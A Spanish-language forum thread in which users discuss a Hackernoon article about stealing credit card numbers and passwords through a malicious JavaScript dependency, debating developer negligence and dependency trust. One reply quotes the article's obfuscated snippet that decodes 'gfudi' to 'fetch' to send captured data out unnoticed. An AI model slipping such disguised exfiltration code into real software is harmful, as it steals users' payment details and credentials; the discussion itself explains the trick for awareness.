@AikonCWD, esto creo te gustará. Y a otros también. Check this out:
I’m harvesting credit card numbers and passwords from your site. Here’s how.
Fuente del artículo: https://hackernoon.com/im-harvesting-credit-card-numbers-and-passwords-from-your-site-here-s-how-9a8cb347c5b5
No copio & pego el articulo, por no creerlo necesario. Si lo fuese, edito #1.
Saludos.
Interesante y sinceramente, lo veo posible porque hoy en día hay tantas dependencias que nadie pierde el tiempo mirando que está instalando en cascada.
Al final vamos a tener que ir cambiando de número de la tarjeta de crédito cada 6 meses.
Mientras lo leía parecía que estaba en una película de esas que te cuenta cómo se hizo el famoso robo a X, mis dieses!
#4 bueno mas que de JS , realmente la culpa es de los developers por no haber mirado un poco por encima que hace ese codigo. Ha elegido JS como podia haber elegido Java / PHP / Python...
no es por defender a JS, a mi no me gusta la verdad, pero en ese caso no es culpa del lenguaje.
#5 mirar un poco por encima? jajaj vas a leer un minificado que tiene :
const i = 'gfudi';
const k = s => s.split('').map(c => String.fromCharCode(c.charCodeAt() - 1)).join('');
self[k(i)](urlWithYourPreciousData);y vas a sospechar, no?
“gfudi” is just “fetch” with each letter shifted up by one. Hard core cryptography right there. self is an alias for window.
#6 no digo que en ese caso el colega no lo haya ofuscado tela, pero me se de mucha gente de
(y ahi se queda esa libreria)
